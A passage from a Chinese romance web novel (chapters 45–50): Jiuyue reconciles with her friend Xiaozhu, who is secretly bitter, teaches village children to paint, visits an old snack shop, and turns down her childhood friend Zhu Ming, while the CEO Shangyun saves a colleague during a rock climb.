尚云离开后,他掷地有声的话仍在办公室回响。 九月深深震撼,开始重新审视这个站立于普世公司首领位子的尚云。 他是当年的尚云,也不再是当年的尚云。 第四十五章 人并不是一成不变的 木信坐在位子上怔怔发呆。 九月给他倒了一杯热开水,想开口宽慰两句,没想到木信微微一笑道,“我没事。多亏尚总当头棒喝,我才能意识到自己犯错。如果他今天的话是错了,胡乱批评,那我该难过;但现在他说的都是对的,我该庆幸他及时点醒我。” 他在电脑了打开文件,又嘱咐道:“我下午要出差,你将我们刚才讨论的ppt改好后,发我邮箱,明天上午我们再过一遍。” “好。” 傍晚,九月接到小竺的电话,约她在香园咖啡厅见面。 香园咖啡在九月的住处附近,几步路便到了。 秋日的夕阳暖暖的透过树叶照过来,光线细细密密却又是分了岔的。半红的颜色,给这一片空灵的玻璃增添了些生机。 九月坐在香园咖啡厅,正在她眼睛一眨也不眨的看着那抹夕阳时,小竺推门而入。 看到九月坐在那熟悉的位子上,小竺眼睛亮了一下。走过去,还没落座就开腔了:“九月,你感觉怎样?昨天你吓死我了。如果你有个三长两短,我真的不知道该怎么办。” 九月微微一笑:“没事,我这不好好的吗?” “小姐,要喝点什么?”侍者过来问她。 “跟她一样。”小竺不耐的对侍者说,待他一走开,转头巴巴望着对面的女子:“发生这样的事,你心里会不会怪我们?” 她指的当然是她自己和莫诚。 小竺像是很内疚,声音稍低了一些,双目紧紧注视着九月,等着她的回答。 九月伸出手,示意小竺把手伸过来。 小竺顺从的把手放在九月手上,仍然忐忑的注视着九月。 九月紧紧握住小竺的手,笑着安慰道:“小竺,有你这么个好朋友,是我攀了高福。我很珍惜我们的友谊,又怎么因为这点小小的意外就怪你呢。更何况,这是件意外,这事跟你们没关系。” 小竺松了一口气,“我哥......莫诚昨晚因为这事,到现在还自责!他让我给你带句话。” “嗯,什么话?” “照顾好自己,等我回来。这是他的原话。” 九月一头雾水,“等他回来?他不在宝宁了?” “嗯,今凌晨四点的飞机,因公司事务出国了。” 九月“噢”了一声。她低下头搅着面前的咖啡。 小竺难得的严肃表情又显露出来,秉气思考片刻后,说道:“昨晚我爸爸也住院了,所以才把你一个人放在医院,挺过意不去的。” 九月抬头,第一次听她提到父亲:“你爸爸怎么了?那现在还好吧?” “现在没事了,在家休养。年纪大了,身体里总有些毛病,血压血脂,这高那高的。”小竺接过待者端上来的咖啡。 “的确,抽空多陪陪你父亲,年纪大了都希望儿孙绕膝。”九月说着话,眸子黯淡无光。 如果父母亲还活着,也将近退休的年纪了。 他们一定希望她早日成家,早日抱上外孙,常常见面就唠叨个没完。难得公休一天,提前备好菜单,赶大清早去菜市买菜,做她最喜欢的菜肴,等着一大家子享用。 那热气腾腾家里,一定洋溢着生活里最细碎、最温馨的笑语。 奶奶在的时候,就是这样的。那时幸福很简单,也很纯粹。 “嗯。”小竺深深看了九月一眼。 两人一时无话,安静下来。 她低头啜了一口咖啡,看着小竺:“小竺……” 小竺手里用调羹搅着咖啡,看着九月欲言又止的样子,一脸坏笑:“你有话要对我说,我看出来了。” 九月低着头,笑容若隐若现:“什么都瞒不过你……” 手机不合时宜的响起,准确无误的划断她刚鼓足的勇气。九月却像是松了负担般的,呼出一口气,笑道:“小竺,我先接个电话。” 小竺挑眉一笑:“接吧。” 九月掏出手机,是朱明打过来的。 “九月,还在加班吗?” “我,在外面。怎么了朱明哥?” “明天周末,回安源吗?” “嗯,我准备明天上午出发。” “那好,明天八点我来接你。” 九月挂了电话,发现小竺仍旧挑着眉毛看着自己,忍俊不禁:“这么看着我干什么?” “是谁呀九月?”小竺一脸好奇。 “发小。” “哦,你之前说的那个心理医生。”小竺眼珠子咕噜一圈,把头凑过来,低声说道:“他是不是在追你?” “没有,我明天回安源给小朋友上课,他刚好也回去,结伴同行。”九月怕她乱想,解释了一下。 她怕没有说清楚,又补充了一句,“一起长大的,跟兄妹一样。” 小竺捂着嘴,笑得特欢。 九月素来高冷,待人留有体面和距离。对外界像加了一层铁板似的防御,从不在乎别人怎么想,尤其不爱解释。 这一点,连待她也不例外。但她刚才特意解释了一番。 这个细微的变化可能连她自己都没发觉,但逃不过长期相处的小竺。她心忖:莫诚有戏。 九月被她笑得发毛,以为她误会了,再解释就矫情,索性就不管了:“你也听到了,明天我得去安源,今晚要备课,我先走一步,你的咖啡刚刚端上来,慢慢喝。” “等等,你把这个带上。”小竺从包里拿出一支药膏,“莫诚说,女孩子都爱美,涂了这个不会留疤。”说完指指自己额角。 九月欣然接过。“谢了。” 走出香园咖啡厅没几步,就接到小竺的电话,“九月,这什么咖啡?这么苦!” 从声音就能浮现小竺正苦着一张脸的样子。 “黑咖啡。”九月想起小竺点了一杯跟她同样的咖啡,轻轻笑道。 “你什么时候换口味了?”小竺低声悲嚎。 九月笑了笑,并不解释。 什么时候?就在经常去的那家咖啡厅。 在那时候,她就发现,原来,人并不是一成不变的。 她很喜欢画夕阳,因此,在傍晚常常习惯性的抬头看向天边。 此时,夕阳还剩最后一抹余晖。红色渲染了西边,如血。 九月不喜欢这样浓烈的景致。转身看向咖啡厅二楼小竺所在的位置,如胭霞光辉映在咖啡屋玻璃上,看不清里面的人。 而咖啡厅里,刚刚还对她笑靥如花的小竺,此时已换上一副阴冷萧煞的表情,盯着窗外夕阳下那抹身影。 小竺终于拨通电话,平静得像是说起别人,“昨晚你走后,父亲中风,到现在昏迷不醒。” 电话里是长时间的沉默。 她脸色有如覆着一层冰霜,阴冷至极。 一整晚都联络不上他,今天跑去他的住处,除了短短几句留言和一支药膏,再无其他。 “莫诚,你满意了?”小竺几乎从牙床里冷冷地磨出这句话,随后挂断电话。 再转头看向落地窗外,九月的身影已消失在人海。 夕阳沉落,这抹红色悄然隐匿于地平线下,留下一世清华。 第四十六章 绿荷轩 第二天大早,朱明便来到九月楼下。 九月简单收拾便下楼了。她不太喜欢画妆,工作时间用一支口红提升气色,再也没有旁的了。主要嫌麻烦。好在天生丽质,素颜也并不输给其他人。 朱明的兴致很高,一路说着各种见闻。 九月也是一个很好的听众,适时回应他广博多识的话语。 车子下高速快要进入安源镇的时候,朱明反而变得话少了。 越是希望谈及的话题,偏偏越是不敢提及,这是朱明最懊恼的事。 将九月送至安源学校后,他将离开了。 九月自学校领了一群孩子来到海边写生。 “绘画最重要的不是绘画技巧,而是观察。从现在开始,你们仔细观察自己感兴趣的事物,哪怕平时已经见过千百万次,一定还有你未曾察觉到的细节。” 见学生们似懂非懂,九月笑着解释:“你们常常来海边玩,有没有发现早上和晚上,海面有什么不同?阴天和晴天,海面又会产生什么细微的变化。拿海里的一滴水来说,你回想起来,很容易,但要着笔去画,发现怎么也不像。这是为什么呢?” 学生一脸思索,大多茫然的摇摇头。 “因为你没有观察到水滴轮廓在静态中的形态,光泽的角度和深浅,水的颜色虽然是透明的,但是那晶莹剔透也分层次,一层一层用画笔勾勒出来,它就活了。” 见他们恍然大悟的样子,便说,“现在去海边找贝壳、海螺,你挑最喜欢的一样,仔细观察,连上面的沙子和阴影、干和湿的界限痕迹也别忽略,然后用我之前教你们的技巧将它画出来。” “好呀好呀!”孩子们大声应道,便如一群小兽四散开来,小小足印在沙滩上愈发凌乱起来。 九月跟着孩子的步伐,帮助他们挑选好看且有特色的海螺,指点绘画的着色和角度。觉得时间差不多了,将这群叽叽喳喳的小可爱领回学校,收回画稿加以点评,每个学生的画稿旁边,评上可圈可点的优秀表现和需要改进的不足之处。 三个小时的绘画课就结束了。 “九月,你大老远的,为孩子和学校付出了这么多精力,我内心真的很感动。孩子们在绘画方面的进步也是肉眼可见的。辛苦你了。”校主任微微笑着说。 “赵主任,又说见外话了。这里也有我自己的学生时代,做的这些虽谈不上反哺,但能为母校尽一份绵薄之力,我也是开心的。”九月发自肺腑的说。 又聊了会,赵主任邀她一起共餐,九月谢绝了。 一个人延着熟悉又陌生的街道漫步。不知不觉就走到一条略显清幽的街道,林荫遮住阳光,在接近中秋的正午,温度微凉。 这条街的尽头往左转就有两个相连的湖池,记忆中池里的藕莲茂盛青翠,盛开零星荷花与莲蓬。 此时,面前的菏池莲叶凋零,看了徒增秋愁。 池边那爿简陋木格子小店,才是她的去处。 那里有薄荷糯糍的香味,越是靠近,香味越浓郁。 远远的就看到木牌上“绿荷轩”三个字,木房临池而立,加建了一排凉亭,配木桌子木椅数套。桌上有免费而简陋的清茶,苦涩绵延,咽下喉咙又有清香萦绕,齿舌回甘。 一切都是老样子,却有恍若隔世的感觉。 不知不觉,已经走近了。 “咦!这不是九月吗?哈哈……多年不见,倒是长成大姑娘了,外面太阳烈,快进来坐。”声音亮如洪钟,人如其声,高大粗犷的汉子走出来。听到这一声熟悉的呼唤,倒像是从不曾离开。 “齐大爷,好久不见。没想到你这么快认出了我。”九月深觉意外,淡淡的笑容回到脸上。收敛心绪上,视线四顾,却没看到热情爱笑的齐太太。 “哈哈,你的模样没怎么变,很容易认出来。” “今天怎么一个人啊?大娘呢?” 齐老先生笑容微僵,悄声道:“前两天拌了两句嘴,气还没消呢,跟个孩子一样。” 一切都没变,这对老夫妻,感情甚好,却经常两句不对付就起争执,过不了两天,又和好如初。旁人看着着急,两人却乐在其中。 早在十二年前九月就已领教过,因此,听到齐老先生这样说,一股暖流划过心田。 “齐大爷,这里可一点都没变呢……”九月心情松懈下来。 十年前与古尚云经常来这里,跟老夫妻很是熟识。那时候两人对老夫妻俩吹胡瞪眼、老死不相往来的样子心里干着急,总想办法凑融他俩。 后来渐渐发现其中奥妙,就“袖手旁观”了。 “绿荷轩是没变,你可是女大十八变,越变越漂亮了。记得那时你还是个小黄毛丫头,每次都笑嘻嘻的拽着你哥哥的衣袖来买薄荷糯糍。咦,对了,你哥哥呢?他还好吧?好久没跟他下棋了,也不知道他棋艺精长了没有。”齐老先生一副老顽童模样,边笑着打趣,边用干净抹布把靠池边的木桌擦了擦。那是九月和尚云常坐的固定位置。 其实木桌已经很干净,光可鉴人,显然是主人每天都会擦了又擦的。 “你好意思问呢,以前哪一次和九月哥哥下棋你赢过?”讥诮的声音紧接着齐老先生的话头而来,就见齐太太从里屋掀帘而出。转过头看到九月,含怒带怨的表情一下一融化开了:“九月,你说神奇不神奇,昨晚我还梦见你呢,今天果然来了。” 齐老先生不计前嫌,给齐太太做证,朝九月点点头说:“这倒是真的,你齐大娘今早上还跟我说起那个梦。” 九月恍惚了,看着齐太太坐在自己旁边。笑道:“真的吗?那齐大娘都梦见我在干什么?” 齐太太端详了九月半天,目光温和得像一个母亲,继而笑容满面:“我梦见你跟哥哥一起来吃薄荷糯糍,就跟十多年前的情景一样。古人云:日有所思,夜有所梦。这段时间总想起以往的事情,呵呵,人老了,果然怀旧。” 九月怔了一下,笑容也消褪了,难得齐太太记得他们已经多年未曾踏足江源镇了。齐老夫妇膝下无儿女,也算是缘分,自打九月第一次来“绿荷轩”,齐太太就喜欢她,常开玩笑要收她做义女。 对待他们自然不同于别的顾客,不是多送一份点心,就是不肯收钱。九月和尚云都是有骨气的孩子,不愿占人便宜。便每次偷偷把点心钱压在茶盏下面才离去。 一来二往,这对兄妹与老夫妻四人,竟建立了深厚的感情。正如齐太太所言,日有所思,夜有所梦。看来,齐太太倒真是把她和尚云当成自己孩子一样牵挂了。 九月看着眼前鬓角花白的齐太太,酸涩道:“齐大娘,我也经常想起你和大爷呢?” “九月,虽然我跟你齐大爷常常两耳不闻窗外事,但当年的事,我们都听说了。事情过去这么多年,看到你现在好好的,我一颗心总算是放下了。九月哥哥他还好吗?”齐太太眼圈泛红。 “九月哥哥”是齐老夫妇对尚云的爱称,初次见他时,两口子问他姓名,十岁的九月脆生生的回答,我叫九月,这是我哥哥。 尚云比较内向,沉默不言。齐老夫妇特别喜欢精灵可爱的小九月,见尚云不爱说话也不见怪,就唤他九月哥哥。后来彼此都熟了,虽然知道了尚云的名字,但称呼却没再改过来。 第四十七章 一切未变 “他……挺好的,不过他创业刚稳定,工作比较忙,等理顺了工作上的事情,会过来看你们的。”说到尚云,九月心里百般滋味。 这时,九月的手机叫嚣起来。 朱明打了电话过来,说是要接她去家里吃饭。 九月婉拒,说是在外面吃上了。 为了表明自己确实在外面,她发了一个朋友圈,“十二年了,一切未变。”位置定位“荷香轩”,配图则是那条幽静美丽的景阳街。 接完电话回来,一盘糯米糍粑已摆上桌,晶莹剔透煞是好看。仍是老规矩,四个是薄荷果浆馅,另四个是红豆馅。一壶热茶也摆上来,跟着摆上一只古瓷茶杯,外壁纹印蓝色花枝,内壁洁白光泽。 齐老先生提起壶就要沏茶,九月赶紧按住他的手:“齐大爷,先别忙。今天还有事情,来几份薄荷糯糍,我想打包带回cc市。” “好,没问题。难得来一次,再多坐一会?” “是啊,留下来吃过饭再走,你齐大爷的厨艺你是知道的,一准给你做最爱吃的糖醋排骨和宫爆鸡丁。” 九月仿佛闻到了那熟悉的香味:“大娘一说,我真感觉饿了。但今天确实有事。不过,虽然没吃到齐大爷的拿手好菜,能带上糯糍点心回去也心满意足了。” 齐大爷知道九月去意坚决,只好起身把糯糍打包:“你坐会,我去打包。” 齐太太的声音追着齐老先生而去:“老齐,给九月多带几份回去。” “你不说我也晓得。”齐老先生呵呵一笑:“你不是说三天不跟我说话吗?这才两天就挨不住啦?” 齐太太啐道:“你少臭美,要不是九月在这,休想我理你!” “都是借口,其实在自己家人面前低个头认个屈,也没人会笑你……唉哟,你别捏我。” “你再胡说试试!?” …… 在家人面前低个头认个屈,也没人会笑话你。九月默默咀嚼这句话。 九月站起来,面朝池面眯眼远望,映入眼帘是一池碧色。阳光透过荷叶缝隙照进池里,水光潋滟,金波微澜。荷叶上青蛙偶尔一蹿一跳,顿时花叶晃动,露珠摇曳,惊醒了荷花上休憩的蜻蜒。 耳边隐隐约约传来老两口斗嘴声,与虫蝉高低起伏的声音相映衬。九月微微牵起嘴角,这样平常的四季,平凡的景色,平淡的生活,构成了一种幽香四溢、余韵持久的幸福。 荣华小区。 朱明打完电话,朱太太期待的眼神凝视他,“怎么样?九月回来吗?” 朱明摇摇头,心不在焉地说:“说正在外面吃饭。” “明明,妈问你。你跟九月......” “妈,我知道你想问什么。”朱明怏怏在餐桌上坐下来。 朱挺教授坐在沙发上阅读报纸,此时慢条斯理的叠好报纸,放回茶几上,习惯性的扶了一下眼镜:“你不是特意调了两天班,跟九月一道回来的吗?” 朱挺目光转向太太,似乎在问:靠不靠谱? 朱伯母又是眨眼,又是摇头。朱挺便知道没戏了,叹息一声,也走至餐桌前坐下。 他估计这事十有八九是朱明一厢情愿。 这样也好。九月是他们看着长大的,跟自家女儿似的。朱明要是跟九月成了情侣,朱挺教授总感觉像是乱伦,打心里不是很赞成。 “九月她那边有急事,得赶回去处理,所以先回去了。”朱明面对两方重压,四两拨千斤的想逃过追问。 “就这样?”朱太太显然不想就这么轻易放过他:“你是不是惹九月不高兴了?” “妈,我怎么会......”朱明一边刷着朋友圈,刷到九月几分钟前发的朋友圈,一边问放大图片一边问道:“妈,这是哪儿?” “这好像是......景阳街。那一片原先是个小沙场……现在改建农贸市场了,一般人绕近路不走景阳街走栖霞路。不过,离沙场半公里左右有一爿老字号点心作坊,还挺有名的,叫荷香什么的。” “荷香轩。”朱明看着手机上的定位,喃喃道。 “对,荷香轩。”朱太太在对面坐下来。“问这个做什么?你这小子,少给我转移话题。” “没什么。” “吃饭吧,难得回来一趟,做的全是你爱吃的菜,尝尝这香油鸡。” 朱明皱眉放下手机,食不知味地咀嚼几口,便放下筷子。“爸,妈,你们慢慢吃。我回房了。” 见朱明闷闷不乐地逃开,朱挺和朱太太相视一眼,各怀心事地沉默下来。 满桌的饭菜没怎么动,朱太太挺不是滋味。 朱挺教授饭后,倒了一杯茶,去沙发上坐下来。 过了一会,朱太太突然起身,绕过茶几坐到朱挺身旁。“老头子,明明也这么大了,身边围了不少莺莺燕燕,但从来没见他跟哪个女孩子来往,一心盼着九月,你说我们要不要帮帮儿子呀。” “你别跟着添乱,知道他大了,就该把自主权给他。”朱挺扶了扶眼镜。 “我添乱?我这不是着急吗?” “咱们跟老慕家交好这么多年,现在慕家就剩九月这根独苗子。这些年没有照顾好九月,我心里愧对老慕家啊。十多年前心里就打算收九月做女儿。”朱教授后半句重点还没讲出来,朱太太已经抢过话头。 “做什么女儿啊,我是真希望九月能做我儿媳妇。你没看出来吗?咱明明喜欢九月。早已到了男婚女嫁的年纪,这可真让我着急。”朱太太道,儿子再不结婚他们都老了。 “现代社会,都讲究自由恋爱。如果情投意合就罢了。但如果落花无意,你总不能强逼吧?年轻人的感情之事急不来,你别操心了!”朱挺思维冷静,并不热衷凑合俩人。 “你就一点都不关心吗?”朱太太有些不高兴了。 “怎么不关心?感情的事情关心得来嘛?”朱挺皱起眉头。 朱太太长吁短叹,去厨房刷碗了。 “爸妈,我出去一趟。”朱明不知何时,已从房里走出来。 朱太太闻言,从厨房探头出来问:“你去哪儿?” “出去随便走走。”朱明嘴上搪塞道,快速换上鞋出门了。 第四十八章 用深情拒绝深情 朱明导航绿荷轩,驱车前往。 刚泊好车,就见旁边一辆红色轿车也停进隔壁车位里。朱明也不在意,关了车门就要走。 “帅哥,你别走。” 听声音,应该是一个年轻小姑娘。他回头,差点笑晕过去。 两辆车靠得太拢,小姑娘自己的车门都打不开了,这会儿摇下车窗向他求助。“帮帮忙,我出不来。” “你这个......把车倒出去,重新停进来就可以了。实在嫌麻烦,你从右侧门出来也行。” “我是新手,刚拿到驾照,还不熟练。”小姑娘缅腆一笑,露出两颗可爱的小虎牙。“回头再把你的车刮了,那多不好意思。” 一听这话,朱明急忙道:“你坐着别动,我来,我来。” 说着自己上车,把车倒出来,另找了一个空车位停进去。 小姑娘这才摇上车窗,重新启动车子,但横竖停不好,不是压线,就是斜了。 朱明急着去找九月,但见她这样,又没办法袖手旁观。只好走过去,敲敲车窗,示意她下来。 小姑娘这会下来了,圆圆的脸蛋,吹弹可破的白晳皮肤,上穿鹅黄色卫衣搭白色衬衣,配白色的裤子,白黄相间的休闲鞋。披着一头干净整齐的齐肩直发,此时亭亭玉立的站在朱明面前。 朱明有一瞬间的恍惚。 小姑娘声音格外清甜:“帅哥,那麻烦你啦。” “没......嗯。”朱明语无伦次地点点,拉开车门,三下五除二,把车周正的停在车位里。 “哇哦,好漂亮的操作。太感谢了。” “没事,举手之劳。”朱明微微一笑,已从刚才的窘迫中恢复神彩了。 把车钥匙交给她,快步离去。 小姑娘见他去的方向跟自己一致,便追上去,“帅哥,刚才帮了忙,还没请教大名呢?” “哦,不用这么客气。”朱明文质彬彬,并不擅长与女生打交道。“我叫朱明,朱元璋的朱,日月明。” “我叫王书瑶。我看你往这边走,我们应该同路。” “嗯?” “这条路只能通往一个地方,在它的尽头转弯,就是绿荷轩。你是去绿荷轩吧?” “对。你常来这里?” “没有,我同学带我来过这家作坊,印象深刻。今天路过,嘴馋了。”王书瑶快人快语,笑起来脸颊有个小梨窝。 “这么说,味道应该不错。” “当然,一会儿你尝尝就知道。” 说着,已经走近绿荷轩,有几个食客坐在那儿聊天,朱明四下打量,环境确实不错,但没见到九月的身影。便驻足不走了。 王书瑶回头看着他:“进来呀。” 朱明摇摇头,“我来找人,她好像不在,我就不进去了。” 他伸了下手,作告别。转身大步离去。 回到车上,他准备拨打九月的电话,还没拨出去,九月的微信电话就来了。 “九月,你在哪?” “我在车站,正想打电话告诉你,我要回宝宁了。” “九月......”朱明叫着她的名字,眼圈发红。心里却一遍遍问,为什么,我永远追不上你的脚步?我们之间似乎永远隔着千山万水。 “朱明哥,你怎么了?”九月察觉到他情绪不对。“我想着你难得回一趟家,休两天就好好陪陪父母,我自己回去就可以了。” 朱明沉默半晌说,“你在车站等我。” 挂断电话,启动车子朝车站方向驶去。 朱明匆匆赶到车站,没看到九月,问售票员,回答说回宝宁的大巴已经发车了。 正当朱明一脸沮丧的从售票厅出来,就见九月从小店铺拿着支矿水泉走过来。 “朱明哥。”九月看到他,远远地招手。 朱明走近,不知哪里生出的勇气,不待九月说话,就一把抱住她。 她惊讶得说不出话来。 “九月,谢谢你等我。”朱明说。 这么多年,他一直在身后追随她的身影,然而她的身边总有另一个身影,那个身影占满了她的时间、她的生活。 十多年前,阻隔在自己与她之间,让她看不到身后痴痴关注她的目光。那个人的身影也阻隔着他的脚步,始终无法鼓足勇气把她的注意力夺回来。 十多年后,彼此失联,他对她的这份感情并没有随着时间消逝,不过是被埋藏在深处。一旦了有希望,它就像破土而出的种子,滋意成长,兀自盛放。 多希望她能回头看看,他是如何一路坚持不放弃,如何小心翼翼不让她感到丝毫压力,如何卑微地奢求她能等一等一路疲惫追赶的他。 似是终于觉得在众目睽睽下相拥惹人非议,他松开了九月。 “朱明哥,我们去那边坐坐。”九月咬着嘴唇,脑海里组织着最慎重的言辞。领着他在偏静处坐下来,将一支水递给他。 “刚刚......我一时情急......”朱明为方才的举止感到羞赧。 朱挺教授严于律己,治家甚严。朱明长期耳濡目染下,也自我要求守礼克己,长这么大从未有逾矩行为,刚才擅自拥抱算是大胆行为。 “朱明哥,我知道。一直都知道。”九月顿了顿,轻声问:“在你来之前,我就知道,有些话可能必须要说出来了。喜欢一个人,是世界上最幸福也最辛苦的一件事。” 朱明一听这样的开头,似乎已经知道了结果,自嘲的笑了。 “十二年前,我就明白这一点。但在我们家发生变故之后,我漂泊在城市与城市之间,从没有在一个地方呆足一年。我最怕一睁开眼,老板就对我说,店里生意负荷不起这么多人,你走吧。 我只是一个没有学历,没满18岁的未成年人,生存和贷款成了每天面临的压力,我像是残酷游戏的赌徒玩家,拿着身家性命作为唯一的赌注,去搏取生存空间...... 尊严是什么?幸福是什么?爱又是什么?在那段岁月里越来越模糊,以至于到后来,我连自己都爱不起来,连活下去都成了最厌倦的事情。”九月泪珠子夺眶而出,她抿了抿唇。 朱明拿出手帕,替她擦掉眼泪。 “谢谢,我自己来。”九月接过手帕,擦掉泪水,继续说:“经历了太多是非曲折,看过太多人性黑暗。我早已经不是少年时代的九月,也不是你印象中的九月。不过拥有同样的皮囊而已。 有人说,成为情侣一定要情投意合才会美满。我认为这不够,完全不够。 除了情投意合,还要情感能量达到平衡。如果一方内心情感是空洞深不见底,而另一方堪堪平满、自给自足,那么后者注定会被情感勒得喘不过气来,也注定成为不幸福一方,永远处于被索取的一方。 我们还未开始,你已经浅尝个中滋味。” 朱明是个聪明人,又是心理医生。九月说的每一句话他都认可,非常明白她指的是什么。可是知道是一回事,心中有执念又是一回事,他始终不甘愿放手。 “九月,也许......” “你事业人品、出身谈吐、才华长相都是人中龙凤,从小便是我们眼中的楷模。我一直当你是这世间的净土梵花,可欣赏不可亵渎。我们完全不是一个世界,从前不是,如今更加不是了。你一定要幸福,你值得。” “我要回宝宁了,以后还能相聚。你留在这里好好陪二老说说话,谈谈心,哪怕只是好好吃一顿饭。有人想要这样的幸福还得不到呢。回去吧,这两盒薄荷糯糍,你带回去尝尝。”九月笑着说,眼泪又如断线的珠子,从脸颊滑落。 朱明看着九月放在他手上的点心盒,嗫嚅着想说什么,发现能说的内容,在九月说出那些话之后,都显得苍白。 九月对他的拒绝,没让他感觉难堪,也给他留了十足的体面。并不是言辞犀利的绝情,也不是捂不热的石头那样冷漠,但就像划出一条永远也跨不过去的鸿沟,他被迫与她分别站在鸿沟两边。 他知道,他的梦不得不苏醒了。 第四十九章 拼死护你周全 这个风和日丽的周末,尚云难得有雅兴出去走走。 约了严教官、阿闲、木信,四人各自带好装备驱车前往约好的地点驰骋。 来到一座极其险峻的山峰下。 “这就是神都山呀?”木信直打退堂鼓,“要不,要不,我还是在下边等你们。” 神都山,这座以仙风道骨闻名的高峰,峰顶有几座道观,风景绝美,云雾缭绕,峭崖陡壁。 正处于初秋,大好的晴天,但山峰过高,峰顶冰风刺骨,寒气逼人。 尚云轻轻一笑,“木信,就这点志气?” 木信又回头看看山峰,“上次的经历还没消化,实在......” 严教官取笑道:“你这恐高症,就得多参加这类活动。迟早给你治愈了。” “没事啊木信总助,有我垫底。实在不行,我在后面推你。” 尚云脱掉运动外套,露出一件背心和轮廓结实的肌肉:“你们爬小坡上去,技高人胆大可以跟我从西边岩石攀登上去,咱们山顶会合。下午去泡温泉,据说这边的温泉非常神奇,具体怎么个神奇法,去了才知道。” 严教官喜欢挑战尚云的项目,而阿闲通常会选择跟木信一组。 其实以阿闲的实力,完全是迁就木信,换句话说是保护木信。毕竟是个白面书生,平时工作能力上没人赶得上他,但这运动方面着实没什么天赋,甚至有点怂。 木信次次退缩,但尚云回回都逼着木信来参加核心团队户外活动。 用尚云的话说,“真正的领导者,必须能文能武,文是思维超人一等,武是气势要胜人一筹,这样往台上一站,就有气吞山河的魄力。气势从哪里来?就是平日里怒目挑战、挥剑上阵中磨出来的。 户外运动是天然的训练场,多参加自然会有意想不到的效果。” “现在我告诉你的一切道理,都是我经历过后总结出来的。但在你那里没有亲身经历,就没有体验。它只是一个看似很有道理的理论,遇到一点困难你就会质疑它的真实,很容易动摇信念。真正让理论具有力量,能让你深信不疑去扞卫的,一定是你亲自经历,亲自领悟出来的。” 听了尚云一番话,木信也就心甘情愿来受虐。 尚云一边做着攀登准备,一边又补充道:“你们穿戴好之后要再次检查好各自的装备,尤其安全带。” “老板,西边那岩石就跟刀斧削过一样,而且很高。”木信在家里就预先做了攻略,因此知道情况。 “我知道,上周过来勘察过。确实有难度,但还是值得一试。” 木信一脸不可思议,他将目光转向阿闲,后者笑得很促狭:“不用担心你帅气爆棚的老板,我觉得他没问题,先想想待会你自己怎么上去。” 说完,他挑挑眉,指指尚云口中所说的“小坡”。 木信顺着他的手指方向,看到鳞次节比的岩石,虽然爬上去后,又能走上一段山路,但要想到山顶,至少得有五六个这样的十几米高的岩壁。 不禁一脸苦涩,咽了咽口水。 还没发表意见,就听尚云从远处抛来一句话,“老规矩,先到者有奖,迟到者受罚。” 木信一听,脸上生无可恋的表情立即消失,迅速穿戴好装备。 阿闲哑然失笑,也紧跟着做攀登前准备,顺便帮木信的装备也从头到尾检查了一遍才放心。 公司训练场本身就有攀岩设施,加上每周都有健身强制性任务,十公里起步的长跑,木信也不算攀岩小白。 在阿闲的指点下,木信渐渐找到窍门。成功攀登了第一个岩壁后,成就感爆棚。 “看起来令人恐惧的事物,真正去做了,发现也不过如此嘛。”木信志满意得的说着心得。 阿闲只是笑,“爬到山顶再说这句话,木信小朋友。” 尚云打先锋,开辟出一条线路。严教官位置稍微错开,但总体跟他是同一条线路。 攀登到一半的时候,尚云用力抓取的时候,有一块岩石松动了。 如果手放开,这块岩石有可能就砸在严教官头上,如果不放手就被定在这个位置。两人都戴着盔甲,但松动的岩石有十来斤的样子,头盔也起不到作用。 “严!有落石,你躲开。” 严教官迅速调速姿势,攀住岩缝移开。 尚云松开手,岩石顿脱手而出,垂直落在一块凸出的石块上,而严教官的落脚点正是这块石头。尚云大惊,在严教官反应过来之前,单脚勾住岩缝,身子后弯形成反月,伸手提住严教官的安全绳和裤腰带。 严教官落脚的石块果然随着大石头应声而落,尚云和严教官悬空在空中。 “严,快移位,重新踩点。”尚云咬牙低声道,因倒悬用力过猛,血液涌入头部,面部赤红,青筋爆凸。 “老板!太危险!别管我。”严教官焦急道。尝试几个位置,才算是找到新的攀附点。 见严教官已稳妥,尚云又咬牙将反弓的身体呈300度收回来。双手重新攀住岩缝。 处于下方将一切看在眼里的严教官捏了一把汗,暗暗惊叹尚云深藏不露的功力。 “还可以吗?”尚云回头问,眼底一片赤红,大概是刚才一番操作,使眼底毛细血管爆裂导致。 “没问题。”严教官点点头。 “保持专注,继续。”尚云嘱咐一声,自己率先行动了。 两个小时之后,两人终于到顶。尚云一屁股坐在地上,与严教官相视而笑。 他脱去破损的鞋子,白色袜子染红了双脚掌前半截,袜子黏在肉上脱不下来。 严教官正在喝水,无意间瞥了一眼差点喷了出来。“尚总,这是怎么回事?” “没事,一点小伤。”刚才用脚卡在岩缝里,撑住两人的体重,被岩缝磨得血肉模糊。 严教官七尺铁汉,差点流泪:“你刚才不该拉我的,伤口再深一点,只怕要铲掉半截脚掌。” “如果无法保护你,我不会将你拉入自己的阵营。既然成为我阵营里的一员,我就会拼死护你周全。领兵打仗爱兵如子,自苦以来忠义之士不都是这样吗?”尚云淡淡的说。 严教官深受触动,一时无言。 “我来吧。”他蹲下从背包里拿出医药包,“你别动,血迹干涸了会连皮带肉撕下来,我找酒精先将祙子打湿。” 第五十章 狭路相逢 费好大工夫褪去袜子,还是撕掉些皮肉,尚云铮铮铁骨,只是皱皱眉不吭一声。 给他清理伤口,用纱布包扎好。 尚云像个没事人一样穿上鞋袜。“这件事不要张扬。” “好。”严教官蹲在地上收拾医药包,抬头看着眼前站在峰顶的男人,正极目远眺,气势威仪如天兵神将。 不,在五年前他就视尚云为天神。那时正是梅雨时节,山洪爆发,他们在景点的保护区外游玩。 山洪自峡谷咆啸着吞噬万物,迅猛而下。游人惊恐万分,纷纷逃离。 但还是有很多游客被洪水冲走,在水中半隐半现,“救命”二字都喊不出来。 当时他刚退役不久,一腔热血便扎进水里救人,但浑浊的水里可见度很低,只能凭着手感去捞。最后救上来两个人,再回水中时,更大的一波山洪又冲了下来,带着湿泥,卷着沿路冲下来的巨大物群。 他逃上岸已经来不及,就在他以为自己此命休矣,就有人提着他的背部衣领,将他往岸上拉。惊险躲过这一劫。 在危急时刻,不仅救了自己,还救了另外一对母女。身手之快让人恍惚。 对方救了人便提着一双皮鞋离去。他跟在身后,听到前面有人拿着毛巾来接应,“尚副总,这有毛巾,来擦擦。” “走吧。” “还去见方总吗?可你这......” “我车里备有一套衣服,约定好的事要守信。” 上车时,尚云才留意到一直跟在身后湿漉漉的严崇文,遂将自己手中的毛巾扔给他,关上车门绝尘而去。 他连谢谢都来不及说,看到毛巾上有“金士集团”字样,才辗转联系上他,已是一年后的事了。 那时,尚云在自己眼中就如天神一样。 一个电话不讨巧这时候打过来,打断了严教官的回忆。 